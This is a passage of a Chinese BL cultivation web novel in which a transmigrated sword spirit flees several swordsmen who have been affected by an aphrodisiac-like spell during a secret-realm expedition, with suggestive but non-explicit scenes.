大约一个时辰后,贺果知回过神,霍闻星还没回来。他的视线,不由得落到放在桌上的酥山上。 正想着,他感受到本命剑飞速靠近,在院门外停下,然后进来。 而贺果知,已经跳下矮塌,跑过去开门了。 刷—— 贺果知把门打开:“可算回来了,你再不回来,我就把你的那份酥山先吃了,再去给你拿一个了。” 夜色深沉,青年身上穿着单薄的里衣,白皙赤裸的足踩在地上,打开门迎接他。 贺果知在白衣剑修的身上,感受到了未散的温度。没多少汗,但温度较高,还带着些许凛冽的剑意,不用说,定然是练剑去了。 贺果知正想拉人进门,忽然,这具剑意未散的身躯靠近,弯腰托住他的屁股,把他抱起来。 门在他们身后关上。 第24章 第24章 贺果知呆了一下, 羞耻度爆了,从脸颊一直红到耳根。 这,这完全是抱小孩的姿势啊! 霍闻星把他当什么了, 小孩子?! 贺果知脸爆红:“不不不不用,我可以自己走。” 两人都是白衣, 远远看这白衣近乎交叠在一起。 剑修淡漠的眼微抬, 看向他,问:“自己走是不穿鞋,光着脚到处跑吗?” 这是贺果知小时候有的臭毛病, 天热了就光着脚来回跑。每次他的母亲傅女士看到, 都要训斥他一顿, 说容易着凉。可穿来之后,没有傅女士看着, 贺果知就肆无忌惮了。 竹舍里刻了清洁的阵法, 每日都一尘不染。还有保持温度的阵法,让贺果知可以光脚跑。 但是, 贺果知又是容易着凉的体质,他还贪凉, 他没有启动阵法。 说话间, 从门口到里屋, 霍闻星弯腰, 将他放到床上。 贺果知眨巴下眼, 和霍闻星对视。 不得了,果然是长大了,贺果知想。 剑修肩背宽阔, 长眸冰冷,贺果知从霍闻星身上感受到压迫感。 似乎是心情不好?生气了? 好吧好吧不启动阵法还来回跑的确是他的错, 霍闻星是关心他。他要是生病和饿了、困了一样,会吃霍闻星的灵力,吃了之后这种不适的感觉就没有了。 霍闻星看着平静,其实内心着急,对他这样的作法生气,一气之下,把他抱起来。 贺果知完全理解。 刚穿来时霍闻星比他年纪小,已经会照顾他了。 察觉霍闻星生气,贺果知老实了。 “知道了,以后不会了。” 剑修单薄的眼皮垂着,也不知信了还是没信,嗯了一声。 贺果知趴在床上看话本,看困了睡觉,盖上被子,闭上眼,突然一个念头浮现出来。 等等…… 今日是鹊仙节,他看到的原著,这几章在绿江都是红锁啊! 贺果知困意一下没了。 不对啊,太不对了。 贺果知坐起来,托着脸思考。 他的糖呢,辣么大的糖怎么没有了?!虽说听到程相烽对霍闻星的间接表白,以及裴连卿给霍闻星做饭,这俩都是糖。但这个糖,和绿江红锁的内容怎么能比。 亲嘴呢? 抱抱呢? 怎么都没有。 而且,这是不是也算是剧情崩了? 剧情崩了贺果知没有安全感,绝对不是因为他想看攻君们和霍闻星的亲嘴抱抱。 贺果知往下想了想原著的情节,忽然,忍不住笑了。 众所周知,在小说中,有一个非常经典的情节,那就是主角因为各种原因中春.药。接下来,这个情节马上要发生了。虽说在原著中并不是下药,而是发生了一些事,但最终达成的效果,和下药一致。 做成这件事的是合欢宗的大师姐。 嗯,等回头霍闻星和攻君们举办合道大典的时候,大师姐一定要坐主桌。 想到这个剧情,贺果知安然入睡。 半个月后,今朝城。 今朝城距离合欢宗不远,不算太大,但也不小。此时这座城中的街市,比往常拥挤几倍,穿着各式校服、劲装的修士往来其中。至于城中的酒楼,早都住满了。 酒楼三层,贺果知手臂撑在护栏上,看到今朝城热闹的景象。 这座酒楼剑宗包下来了,住的都是剑宗弟子。他和霍闻星他们一起乘仙舟过来。 而他们和众多修士都来到今朝城,是因为太岁秘境这次出现在今朝城外的某个山谷,他们都是来这里等待秘境开启。 也是在秘境中,发生“下药”的事。 酒楼位于今朝城繁华处,贺果知在这看着,见到仙洲大小宗门许多弟子。 贺果知最关注的,是六大宗。 因为在这部千万字的升级流万人迷np小说中,除了正宫的攻君们,还有很多“路人攻”,说是路人攻不够准确,应该是他们都对霍闻星单相思。在书中因缘际会,和霍闻星有了一些牵扯。 “路人攻”中戏份最多的几人,来自其余五宗。 刀宗的少主,音宗的大师兄,佛宗的佛子,药宗的药圣,衍宗的新任七星之一……再和正宫的攻君们凑在一起,那场面贺果知能吃糖吃到撑。 不过目前的小说剧情进度,是霍闻星在这里认识他们,接触并不多。 在贺果知看的后续剧情中,他们的剧情也并不多,毕竟只是“路人攻”。 来的这几日,贺果知已经见到其中几人。他们的长相、气场,都和符合贺果知在书中看到的描述。五官优越,气质不俗。 大概是担心他闷到,霍闻星问他去不去书铺。 贺果知一口答应。 街市外面热闹,书铺内倒是安静。贺果知在书架上,看到他感兴趣的话本。 正看着,一道不真切的女声响起:“你喜欢?” 贺果知回头,看到说话的人。 一身红衣,黑色的帷帽遮住她的面容。贺果知在她的手腕上,看到了“合欢花”。名为合欢花,但与贺果知生活的现代的合欢花并不相同,合欢宗的合欢花是鲜艳的红色花瓣,极为妖艳,又十分明丽。 装束和手腕上的花让贺果知认出来。 他眼前的这位,是合欢宗的大师姐林樊吟。 没想到在书铺遇到。 贺果知点头:“喜欢。” 他听得声音不真切,是因为帷帽的遮挡。 林樊吟的音线偏冷,她道:“你手中拿的,是这个话本的删减版,我这里有未删减版,你要吗?” “需要多少银?”贺果知问。 林樊吟轻笑一声:“送给你。” “好不好?” 贺果知拒绝:“多少银,我买。” 原著中林樊吟出场极少,只有几次,她的性子冷淡。开口说送给贺果知话本,贺果知拿不准林樊吟的意思。 林樊吟叹息一声:“好吧。” 言罢转身离开。 “等等。”贺果知喊住她。 “太岁秘境,小心。” 林樊吟:“何出此言?” 贺果知心想,当然是他知道剧情啦。不过林樊吟不愧是合欢宗大师姐,她可是很厉害的,那些人被林樊吟全都杀掉了。 贺果知随口:“我刚好会一点观星之术。” 林樊吟向他道谢,转身离开。 见到林樊吟走了,贺果知继续看他的话本。 【剑修将狐妖抱起,压倒在床上,手探入狐妖的衣襟之内。俊美的面容之上,尽是隐忍和恼怒。那只握剑的手,在衣襟之下狠狠用力……狐妖嘤咛出声】 贺果知脸爆红,啪的一下,把话本合上了。 他看了看话本的封皮,没错,是他之前看的。 他手里拿的这本,比他之前拿的更重。 贺果知再从架子上拿起一本对比,果然如此。 不用说,换他看的话本的,正是林樊吟。 贺果知缓了一下,翻开看了看。未删减的版本,有许多语气词,以及风月画面的描述。 林樊吟真是好人,把这个留给他。 贺果知在绿江看小说,看到红锁的章节,非常想看章节里写的是什么,可这种风月事摆到他面前,他又完全不好意思了,觉得拿在手中的话本烫手。 “你认识她?”一道冷淡的声音在身后响起。 贺果知正想如何把话本藏起来,听到霍闻星声音,手抖了一下,话本顺着指尖滑落。 贺果知瞳孔地震。 救救…… 一只修长如玉的手,接住掉了的话本,递给他。 “怎么了?”霍闻星问。 贺果知抢似的把话本从霍闻星手中拿走,紧紧抱在怀里,理了一下耳边碎发:“没、没什么。” “啊……你说她是谁啊,合欢宗的大师姐。她……她人特别好,把这个话本送我。” 霍闻星微微蹙眉:“送你的?给我看一下。” 贺果知抱得更紧:“不用了吧。” 青年看起来还算平静,但磕绊的话和发飘的尾音,全都暴露了他的紧张。以及,他不应该知道的事。之前霍闻星并未遇到过林樊吟,那么他的本命剑中诞生的剑灵,又是如何知道的。 霍闻星:“她为何送你,上面也许附有法术。” 贺果知泪了。 是这样的。 今日之前林樊吟和他们是陌生人,陌生人送的东西,怎么能不心生警惕。 贺果知:“她……人好!” 贺果知说着,把话本递给霍闻星。 既然是查看,霍闻星用了法术,封皮书页都检查。翻开后,霍闻星明显一顿。 贺果知尴尬得扯了扯自己的发丝,又把碎发来回捋,悉悉索索的小动作一个接着一个。 霍闻星只是略微停顿,随后神色淡漠依旧,查看完,还给贺果知。 “无事。”霍闻星道。 贺果知乖巧点头,心中微微口气,同时感慨。果然是无情道,看到风月话本,也依然无波无澜。霍闻星如此淡定,他的尴尬也少了一点点。 这般想着,贺果知扯过霍闻星的袖子,往里放。 霍闻星垂下眼。 贺果知的动作一顿。 贺果知可怜兮兮抬头:“老霍,我没有能放的地方。” 贺果知都不知道如何形容他此时的心情。 他眼前的剑修修无情道,冰冷淡漠,凛然不可侵犯。而他现在,竟然在风月话本塞到他的袖子里,简直是一种亵渎! 可是这个话本真的挺好看的。 贺果知泪了。 “嗯。”霍闻星淡淡应了一声。 袖子往贺果知的方向递了递。 贺果知连忙塞进去,保证:“你放心,不会有人知道的。” “万一,我是说万一,我会大声说这是我偷偷装进去的,与你没有任何关系。” 霍闻星淡淡:“没区别。” 又补充:“没事的。” 贺果知想了想,明白过来霍闻星为什么这么说。因为他是霍闻星的本命剑,在旁人看来他们是一体的。 贺果知带着新买的话本,和霍闻星离开书铺。 太岁秘境出现的地点不固定,开启的时间也并不固定,仙洲的各仙门推测出开启在这几日。翌日早上,这片区域灵力与冥冥中的道蕴波动——秘境开启了。 进入秘境后,师兄弟三人分开。秘境凶险,分开后他们相距也不算太远,能及时赶到对方身边。 太岁秘境中仙洲强者留下的传承,亦有奇珍异宝。 霍闻星在秘境中获得剑尊的剑法,还有灵植、灵矿这些宝贝。 期间遇到意图夺宝的人,都被霍闻星几招解决。 时间很快来到第三日的晚上,霍闻星在太岁秘境一条小溪旁休息。 在太岁秘境的这个时辰,贺果知会去剑里睡觉,霍闻星将他温养在丹府中。 “等等。”贺果知阻止霍闻星。 火堆的光芒,映在他瞳孔中。 他也不知道林樊吟在哪个方向,但一定在附近。 “不困?”霍闻星问。 “还好。”贺果知说。 其实他有点困了,但是下.药这样的情节出现,他得抱着身体躲远一些,背过去。 脑补一下糖就行。 贺果知还没感受到什么,霍闻星烤鱼的手忽然一顿。他看到白衣剑修起身,眉头微蹙看向一个方向,银白长剑出鞘。 山林震动。 霍闻星的动作看起来不快,但在山林震动抵达他们这里之前,用剑划分出一个范围,诡谲的力量撞击到在剑法划出的结界之上。与此同时灵力炸开的气浪,拂起剑修的墨发白衣。 贺果知看到这种诡谲的法术。 所蕴含的道是淡淡的粉,深处是桃红色,很艳丽。这是合欢宗的法术,使用的正是林樊吟。 在这段情节中,心术不正的邪修对她不轨。这几个邪修的修为境界均高于林樊吟,让林樊吟不要挣扎,取下帷帽,成为他们的炉鼎。林樊吟可没他们想的那么柔弱,反手一个伤敌一千自损八百的法术。现在那几个邪修正情欲缠身,失去理智,自残自己的身体。 原著这块的描述,还挺血腥的。这些邪修在情欲中疯了一样自毁身体,从而走向死亡。 跃境杀敌的法术,范围很大。这个法术对林樊吟也有影响,但合欢宗自有其克制之法。 霍闻星用剑法划出结界,但这种诡谲的法术侵蚀阵法,进而影响到霍闻星。 情欲上涌,相当于中了春.药。 火映着贺果知的脸,贺果知有点没心情吃鱼了。 他现在心跳很快。 这段剧情在绿江也是红锁,但他凑巧在解锁的时候看到了。这段原著中的情节,那真是……怎么说呢,特别香艳。 【情.欲染上双眼,往日的克制在眼眸中坍塌。】 原著中这句描写,不止说的是霍闻星,还有程相烽、裴连卿,坍塌的是他们师兄弟的身份,谨守的界限。 不行。 太好嗑了。 贺果知想看他们亲嘴。 就看个亲嘴! 只看亲嘴,他就不会看了! 呜呜呜好想看。 突然,贺果知察觉一道注视落在他身上。用剑法划出结界阻挡诡谲法术的白衣剑修,回过身垂下眼看他,他的背后,是淡粉色的瑰丽夜幕。 贺果知的眼眸亮了亮。 稳了! 关键情节一点都没变,他看到霍闻星乌沉眼眸中那种很淡的桃红了。 马上能看到亲嘴了!贺果知拼命才把嘴角压下去。 他用担忧的语气说:“你还好吗?” “看起来有些难受。” 贺果知:“大师兄他们就在附近,你快去找他们吧,看看有没有什么解决的办法。” 解决的办法,当然是…… 寂静。 霍闻星看了他一眼,转身走向那条捕鱼的小溪。 啊? 这发展给贺果知看愣了。 他看着霍闻星走向小溪的深处,那里有几块嶙峋的石头,霍闻星的身形被石头遮掩住。 贺果知鱼都不顾上吃了,他刚才还想着看完亲嘴,继续吃鱼。 原著不是这么写的啊! 贺果知看的原著,这段剧情就和他说的一样。裴连卿距离他们最近,霍闻星先去找的裴连卿。怎么霍闻星没去找裴连卿,反而去溪水中了?! 太岁秘境中的时节和外界不同,他们所在秘境的这块区大概是秋季,入夜之后气温降低,溪水寒凉无比。 贺果知放下烤鱼。 嗯……他去试试把情节拉回来。 这么想着,贺果知来到溪水旁,蹲下来。 霍闻星背对河岸。 刚才他控水泼到身上,以此来降低身上的温度。此时雪白的剑修校服湿透,黏在他身上,宽肩窄跨,修长紧实的身躯隐隐勾勒出来。 “老霍。”贺果知指尖沾了下水,果然冰冷寒凉。 霍闻星并没有说话,只是略偏头,代表他知道贺果知的到来。 贺果知:“这种法术很特殊,寻常丹药无用。大师兄,连卿他们就在不远处,去找他们好不好?” 来太岁秘境,霍闻星他们的乾坤戒中自然备了各种丹药、符咒。但这个法术算是合欢宗镇宗之术之一,自然无法轻易破解。 霍闻星转回头。 都相处这么长时间了,贺果知看懂了霍闻星的意,这是一种无声的拒绝。 贺果知有点急了,也不蹲着了,起身。 “我去找他们,你在这别动。” 这种法术连施展法术的林樊吟都要难以压制,何况霍闻星。贺果知记得看到这段情节,压抑会对修士的身体、神智都造成损害,所以才选择那样的破解之法。 贺果知刚起身,忽然剑风绕上他的身体。 噗通。 他被扯入溪水中。 落到一个滚烫的怀抱里。 第25章 第25章(一更) 冰冷的水裹上来。 霍闻星扣着他的手腕, 温热的灵力流入经脉,驱散这种冷意。 溪水并不深,只到贺果知腰这里。 他穿的衣裳同样被溪水浸湿, 裹在身上。垂到腰间的乌顺长发的发尾,沾到溪水后, 墨一般在水中散开。 很烫。 扣着他手腕的手很烫。 修长的手臂箍在他的腰上, 把贺果知揽入怀中,身体贴着身体,贺果知感受到霍闻星身上滚烫的热度。 啊……? 月光下, 白衣青年茫然地微微睁眼, 没搞明白眼下是什么情况。 身型修长悍利的剑修, 淡漠地垂下眼看他。 “老霍?”贺果知短暂懵了一下后,试图挣开这个怀抱。 贺果知平时一点都不修炼, 他的力气, 怎么可能比得过霍闻星,再多的挣扎也是徒劳。 贺果知好慌。 他都不知道自己说了什么。 “你还清醒吗?有没有神智?” “我是贺果知, 你的剑灵!” “你把我认成谁了?!” 贺果知一通挣扎,除了让两人身上白衣湿了更多以外, 没有任何效果。 霍闻星垂着眼, 带着指骨匀称的手指, 摸上贺果知的侧脸。 贺果知感受到他掌心的剑茧, 同时也感受到他手上的温度。 “我知道是你。” 霍闻星淡淡道。 语气没多少起伏:“没有认成别的谁。” “剑灵。” 这两个字, 简直如同宣判,一下把贺果知内心所期待的击得粉碎。他怔怔看着剑修,像是已经失去了思考能力。 霍闻星一手揽着他的腰, 另外一只手托着他的脸,低下头。 刷! 灵力震起溪水, 银白的长剑破水而来。 霍闻星的动作一顿。 明明是放在他丹府内淬炼、温养的本命剑,此时将剑刃的一端对准他。 也是趁着他短暂分神。 手下空了。 霍闻星垂着眼看空落落的手,抬头睨向逃跑的身影,淡淡道。 “回来。” “不不不不不,不回!” 贺果知在一叠声说。 刚才那一瞬间,已经用光他全部的勇气和机智,贺果知感觉他脑子一片空白,什么都思考不了。 可是……哈哈……他无法思考,但是恼人的问题却一股脑全都冒了出来。 为什么霍闻星说知道是他,为什么霍闻星刚才看起来要亲他?他不是无情道吗?退一万步说,无情道有喜欢的人,也应该是裴连卿、程相烽他们啊?!书中的剧情是这样的! 这些问题一口气冒出来,可却没个头绪。 贺果知心中泪流满面。 剑在霍闻星那里,贺果知跑不远,但随着霍闻星修为提升,贺果知离开剑的距离越来越远了。以霍闻星目前的修为,贺果知连翻几座山都不是问题。 贺果知没敢回头看。 他能感受到霍闻星在他后面,他跑出的距离瞬息缩短。 要说这么几年相处,有个好处就是了解对方。 贺果知想也不想,把宗嚣教他的,霍闻星教他的法术套到自己身上。攻击不足,但防御和遮掩气息都是顶级!因为他被魔尊秦飞情捉走,为了保护他,专门研究教给他这些法术。 贺果知没看到,在看到这些法术后,白衣剑修的神情微微变了。 “果汁……” 贺果知捂住耳朵。 啊啊啊啊啊啊啊他听不到! 贺果知都不知道他跑到哪里。 这些法术套在他身上,连霍闻星都没办法找到他。一旦他从霍闻星的视野内消失,那就是“消失”,神识都扫不出来。 跑跑跑。 咚。 贺果知撞入一个怀抱里面。 那人张开手臂,直接把他接个满怀。 贺果知一愣,寒毛都炸开了,抬头看到是裴连卿,绷着这口气才松懈下来。 “怎么跑成这样?”裴连卿的手放在他后背,穿过柔顺的长发,贴上后背,慢慢给他顺气。 贺果知看着裴连卿,动了动唇。 一时不知如何说起。 你老婆好像看上我了? 啊不对。 也有可能你老婆中春.药了,当时那只有我一个人,所以你老婆对我有点想法? 啊啊啊啊啊啊啊啊啊啊啊好混乱啊! 贺果知哽咽,一个字都说不出来。 裴连卿笑容温柔:“那就先不说了。” 理智稍微回笼,贺果知大概知道他怎么会撞上裴连卿了。他知道裴连卿在附近,觉得这安全,所以下意识往这边跑。 忽然,贺果知握住裴连卿的手腕。 裴连卿给他顺气的动作一顿:“怎么?” 贺果知震惊。 他在裴连卿的瞳孔中,看到了相同的,那种很淡的桃红。 贺果知抽了一口冷气。 原著中,被林樊吟法术影响的只有霍闻星,没有裴连卿啊! 贺果知:“连卿,你刚才也阻止林樊吟的法术扩散了?” 裴连卿往林樊吟的方向看了眼,收回视线:“嗯,她的法术威力太大,会影响范围内的所有生灵。” 连那个方向的植物,也全都躁动起来。 贺果知:“那你现在还好吗?” 裴连卿笑了一下:“不太好。” 难道这是天道送来的机会? 贺果知:“老霍也阻止了林樊吟的法术,但和你一样,受到侵蚀,他现在……有些不正常。你快去看看他,你们两个一起,应该可以……” 贺果知后面没好意思说下去。 裴连卿若有所思,道:“怪不得,你从他那里跑过来,身上还带着一堆遮掩的法术。” 贺果知:“嗯?” 裴连卿应该是看到他了,所以才能准确接住他。 “你跟我来吧。”裴连卿召来佩剑,把贺果知抱上去,御剑带他远离。 裴连卿没让贺果知站在他身后,而是把贺果知抱在怀里,夜间的冷风全都被他的身体挡在外面。 贺果知趴在裴连卿胸前,抬头看到剑修清俊的下颌,察觉到不对。 他们的距离,是不是太近了?裴连卿没必要这么抱着他。 贺果知:“连卿,不用这么抱我,我站后面就行。” 裴连卿:“风冷。” 贺果知:“我不冷。” 裴连卿没有再说话,扣在他腰上的手臂却收紧了。 贺果知这下反应过来:“连卿你带我去哪儿?不用了,我自己躲。” 贺果知再挣扎,他也依然在裴连卿怀里,唯一效果是,影响了裴连卿的御剑飞行,迫使裴连卿停下来。 裴连卿垂眸,注视贺果知。 贺果知被他这个眼神看得害怕,不停想把裴连卿推开。可裴连卿看似身形清瘦,实际上勤于修炼,白衣之下的身躯修长紧实,贺果知一点都推不开。 裴连卿箍着他的腰,修长如玉的手指撩起他颈侧的长发,露出白皙的颈侧。 裴连卿眸光深了几分,呼吸轻轻碰到贺果知那块白软的皮肤。 “果汁,”裴连卿的声音有些轻。 刷! 剑光乍现,贺果知把银白的长剑召来! 剑突然出现,垂直朝贺果知和裴连卿之间往下落,裴连卿不得不把贺果知推开。 贺果知惊出一身冷汗。 他在召来霍闻星的本命剑时,没想着能召成功。出乎意料,他成功了。 可他也不敢带着剑跑,以霍闻星的手段,绕过法术通过剑找到他只是时间问题。 逼退裴连卿,贺果知扭头就跑。 贺果知也不知道他要去哪儿,但他身上挂的那些法术,足以保证让霍闻星他们找不到他。 原本混乱的思绪,更多的混乱挤了进来。 鹊仙节时裴连卿说的那些话,裴连卿所说的心上人。就算裴连卿被林樊吟的法术影响,他也应该去找霍闻星。贺果知跑过来,霍闻星一定在不远处,裴连卿不应该这么抱他。 细细想来,像是他误会了,裴连卿由着他误会,并没有解释。 到了他会被动回到剑里的距离,贺果知停下来,靠着太岁秘境中的一株粗壮的古树,大口喘息。 他跑出了一身汗,夜风带走他身上的热意。 贺果知用手拨开汗沾湿的发,宽大的袖子被他用来擦汗。 贺果知靠着古树,身体往下滑,缓缓坐下来。仰起头,风吹云散,冷白的月光落在他的脸上,同时落在仰起的白皙脖颈上。他的呼吸平复很多了,略微分开唇,小口喘息着。 “!”贺果知忽然回头,看向一个方向。 那里似乎有人。 等贺果知看过去,一片寂静,什么都没有。 这一路,贺果知也没遇上什么守宝的妖兽,其他修士。法术屏蔽他的气息,无论修士妖兽什么的都无法察觉他的存在。 大概是……他想多了。 太紧张了。 贺果知回过头,眼前却是一暗,那人很轻松提起他的手腕,制住他的动作,用膝盖顶开他的腿,埋到他的脖颈那。 贺果知感受到他手腕上的热度,以及脖颈呼吸滚烫的呼吸。 “别动,”剑修说。 “是我。” 贺果知认出来,是程相烽。 那柄银白长剑,再度被贺果知召来,悬停在程相烽的身后,凛冽的剑风在他的白衣上割出口子。 剑是在两股力量之下停下来的。 程相烽阻止,以及贺果知紧急撤回。 他起初不知道是谁,所以本命剑带了杀意。 第26章 第26章(二更) 在经历和霍闻星、裴连卿两个人后, 不需要问,贺果知已然明白程相烽是怎么回事。 鹊仙节前他问的,以及鹊仙节时程相烽给他的回答。 程相烽所谓的心上人, 看起来不是他认为的霍闻星。换成是他,那一切都解释的通, 程相烽本就是鹊仙节带他去玩的。 贺果知不知道剧情怎么崩成这样了, 和他知道的一点都不一样。 贺果知越过程相烽,看向悬停在他身后的银白长剑。 程相烽背对着他,但必然有所警惕, 恐怕没办法像之前一样, 帮助贺果知脱身。 怎么办? 突然, 他的下巴被程相烽一只手掐住,指骨陷入脸肉里。 贺果知抬头, 在程相烽的眼中, 看到了那抹熟悉的桃红。 啊啊啊啊啊要命! 他们师兄弟是怎么回事?!为什么全都被林樊吟的法术影响了?细想他们的距离其实不远,各自去阻止林樊吟的法术, 所以都受到影响? “好想亲你。”程相烽扫了贺果知一眼,视线下移, 落在贺果知的唇上。 要、要是程相烽亲过来。 贺果知会用剑打他的! 这时, 程相烽不太爽地啧了一声, 用个法术改变这块的林木布局, 顺手把剑给送走了。 他把贺果知抱到怀里, 掐他脸的手转为捂住他的嘴,他们的身形借助古树和灌木从的遮掩。 “你把剑召到这里,他们找过来了。”程相烽在他耳边说。 “不想被他们找到, 别出声。”程相烽说。 贺果知泪了。 内心都要被眼泪淹没了。 不想被他们找到,也不想被你这么抱着捂嘴。 但程相烽说的是他们, 两个人总比一个人要难应对。他可以等程相烽帮他躲开,然后再拿剑和对霍闻星、裴连卿一样刺一下。 虫鸣、风声,皎洁的月光落到他们身上。 贺果知没出声,也没有什么动作。 大概是他默许了程相烽的做法,程相烽不似之前那样用了点劲儿捂他的嘴,而是手松了些,手指去捏他的耳垂。 贺果知被他捏了一下,不敢出声。 刷—— 也是这时,银白的剑光陡然乍开,几人合抱粗的古树,顷刻间被削段。 程相烽松开贺果知,提剑迎了上去。 贺果知看到程相烽一打二,意识到这是一个机会! 贺果知转身就跑。 眉眼温润的白衣剑修出现,拦住他的去路。 裴连卿往后面扫了眼,去牵贺果知的手。 他的手尚未碰到,另外一道剑气劈下来! 是霍闻星。 趁这个间隙,贺果知已经跑了。 贺果知没回头看,一口气跑出很远才停下来。 噗通、噗通。 他停下来的时候,心脏在胸腔中疯狂跳动。 虽然他跑出很远,可依然能看到远处炸开的灵力气浪,催折的树木,惊飞的林鸟,以及近乎照亮天际的剑光。 贺果知抱着膝盖蹲下来。 有些发愣地看着那边。 他看的是霍闻星作为主角受的,绿江万人迷升级流修仙文,现在书中的主角受霍闻星,以及攻君们对他的想法,喜欢?剧情崩得他都不认识了。 “找到你了。”一道微沉的熟悉的声音说。 贺果知一愣,抬头看到谢振涛。 和霍闻星他们不同,谢振涛作为执法峰弟子,从来都是黑色剑宗校服。 同时,贺果知看到谢振涛深黑的眸中浅淡的粉。 不是桃红色。 “你也……”贺果知不知道说什么。 谢振涛受到影响,完全有可能。在书中谢振涛恰巧在附近,霍闻星受到林樊吟法术影响,起初只有裴连卿,后来遇到附近的程相烽、谢振涛,是香艳的4P。 贺果知当初看得时候小脸通黄。 这么想时,贺果知的思绪突然一顿。 他知道自己穿的是看过的小说,所以一直在把经历的事和小说中做比较。如今剧情崩成这样,他还可以做比较吗? 也不对……要是严格来划分,崩掉的是感情线?他所知道的剧情线大致是一致的?可贺果知没看多少剧情。 他胡思乱想着,一眨不眨看着谢振涛,眼中是难以掩盖的警惕。 “别担心。”谢振涛在贺果知身边蹲下来。 他的身形高大,蹲下来体型也有压迫感。 谢振涛低声:“我受的影响比他们轻,所以现在比他们清醒。” 贺果知抿抿唇,嗯了一声。 谢振涛的视线,始终落在贺果知的脸上,身体隔着衣裳,轻轻挨着贺果知。这一晚上的经历,再结合谢振涛刚才的话,贺果知也说不清,他可能是误会谢振涛了。 以往谢振涛是执法峰弟子,贺果知很容易从谢振涛这里找到安全可靠的感觉。 此时他却站起身,慌乱说:“谢师兄,我现在不便过去,麻烦你去看看他们。” 贺果知雪白袖子间的手,被剑修指骨修长的手牵住了。 不是用大力的牵,而是捏着手指,有点亲昵,还有点讨好意味的那种。 贺果知站着,谢振涛蹲着。 黑衣剑修仰头看他,月光照在他俊美的五官上。 谢振涛:“抱歉,知道你现在心情不好。可是我……控制不住。” 贺果知从谢振涛的眼神中,读懂了谢振涛的意思。 同时他也想起了,鹊仙节那日他和谢振涛的对话。 而且谢振涛的表现,也侧面证明了他的猜测。霍闻星他们不是因为只有他,所以才因林樊吟的法术对他有什么想法,而是对他有点喜欢,所以才有对情人的欲.望。 贺果知想把手抽出来,谢振涛的手指勾着他的,把贺果知整个手牵到手中。 贺果知很慌,说:“你不是说你是清醒的?” 他竭力克制,但今晚对他的冲击实在太大了,声音还是听起来很委屈。 谢振涛:“比他们清醒,但那个法术,对我也是有影响的。” “想对你做很过分的事。” “但还能忍。” 谢振涛这么蹲着,很轻地笑了一下。 大概是一个站着一个蹲着的缘故,贺果知看此时的谢振涛,幻视穿越前他朋友养的金毛。就像这样,乖乖蹲在他腿边也不闹。 贺果知试着抽了抽手,实在是抽不出来。 贺果知让谢振涛牵着,想了好一会儿,说:“我要回去。” 谢振涛皱眉,认真说:“我没把握拦下他们三个。” 贺果知:“不用拦,你带我回去,找到林樊吟,应该有解决的办法。” “得阻止他们,不能再这么打了。” 贺果知不知道怎么面对他们,但不能让他们这么打下去了。其一他们刚进入太岁秘境,其二剑宗内讧至此,难免有心人盯上他们。贺果知看的剧情不多,但知道太岁秘境也有邪修。 谢振涛御剑带贺果知回去。 抵达师兄弟三人附近,谢振涛没停下来。交手中的三人,却同一时刻停手,朝谢振涛的方向追赶过去。 谢振涛带贺果知回到溪边停下,下一刻,三道剑气追来,谢振涛毫无悬念加入战局之中。 贺果知被谢振涛推到身后。 当然,即使谢振涛没有这个动作,剑气也不会伤到贺果知。 贺果知跑了一路,又跑回来,也不知道林樊吟还在不在附近。好在这几年贺果知没怎么修炼,但杂七杂八他感兴趣的学了一些。此时贺果知拿出三个铜板,又把林樊吟给他的话本拿出来。 话本垫在最下面,他把三个铜板放在手心,晃了晃。 算出一个方位。 东北? 贺果知把铜板和话本收起来,往东北的方向走。这附近贺果知认识,霍闻星用剑法划出的阵法封住林樊吟的法术,诡谲的桃红被挡在阵法后面。此时诡谲的桃红已然没了。 没走太远,贺果知在一株古树的旁边,看到黑色帷帽一身红衣的林樊吟。 也许这里距离林樊吟杀掉那些邪修的地方不远,贺果知嗅到了空气中的血腥味。 林樊吟抱臂,正在看远处交手的霍闻星等人,看起来她已经在这里看了一会儿了。 “又见面了。”林樊吟给贺果知打了一个招呼,同时看了眼,似乎从贺果知身上看出什么。 滴答。 滴答。 贺果知眸光凝了一瞬,他看到鲜红的血,不断顺着林樊吟的手腕滴落下来。 “林师姐。”贺果知乖乖道,“你的手腕?” 林樊吟没回答他的问题,而是说:“你为了他们来的吧。” 贺果知嗯了一声。 逃走的过程中消耗他太多精力,他现在反而平静不少。 贺果知:“他们都被师姐的法术波及,有什么办法可以阻止他们吗?” 林樊吟:“他们受伤了。” 贺果知心下一惊,立刻望过去。 林樊吟语调慢悠悠的,说:“都是剑修,打个架受伤很正常,一个个皮糙肉厚的,没事。而且受伤的疼痛,可以帮助他们清醒,再打一会儿,流流血,依靠他们的定力,再去溪水里边泡泡,哦对再服下合欢宗的丹药,也就没事了。” 贺果知松口气:“让他们再打一会儿就行?” 林樊吟:“有一个人不行。” 贺果知的心又提起来。 林樊吟:“你是剑灵,那个持有你的剑修,他虽然受伤,但他受伤最轻。你看,现在差不多是,他一个人在压着其他三个人打。” 贺果知看过去。 的确是林樊吟说的这样。 “所以,”林樊吟撩开帷帽的薄纱,在贺果知的耳边说话。 “一会儿等他们打完了,我去给那三个吃药,送他们去溪水里泡会儿。但你,你得去解决持有你的剑修,你的剑主。” 贺果知一顿:“我解决他?” “对。”说着,林樊吟把一个匕首,交到贺果知手中。 “刺伤他,用疼痛来让他清醒。” 第27章 第27章 “有别的办法吗?”贺果知问。 他不想刺伤霍闻星。 贺果知这么问, 但他也知道这是垂死挣扎。因为林樊吟自己,都是用疼痛来让她自己清醒。她没有愈合手腕上的伤,让伤口一直存在, 疼痛流血。 还想挣扎一下。 呜。 “有。” 出乎霍闻星意料,林樊吟淡淡吐出一个字。 贺果知的眼眸立刻亮了, 试图把匕首重新塞给林樊吟:“什么办法?” 林樊吟冷艳的唇角勾起, 她生得好看,单手撩着帷帽的垂纱在贺果知耳边低语:“用手。” “手不行那就腿。” “给他……” 林樊吟笑吟吟的,最后一个字只说出气音, 如愿看到青年从耳垂红到脖颈。 特别漂亮。 贺果知重新握住匕首。 “第一个办法就挺好的。”贺果知故作淡定道。 林樊吟放下垂纱, 拉开距离, 笑了一声。 打完了。 和林樊吟说的一样,她把三个清醒一点的带走, 吃药泡冷水。 眉眼疏冷的白衣剑修看向他, 收了剑,向他走过来。 原本冰冷的匕首都被贺果知攥得发热, 贺果知不由得后退一步。 不能退。 贺果知脸爆红。 他要是退了,就要用林樊吟说的第二种办法了。 贺果知僵在原地, 看着霍闻星走过来。 五年过去, 他低头看的少年, 如今比他都高了, 要他仰头去看。剑修淡漠的垂下眼。 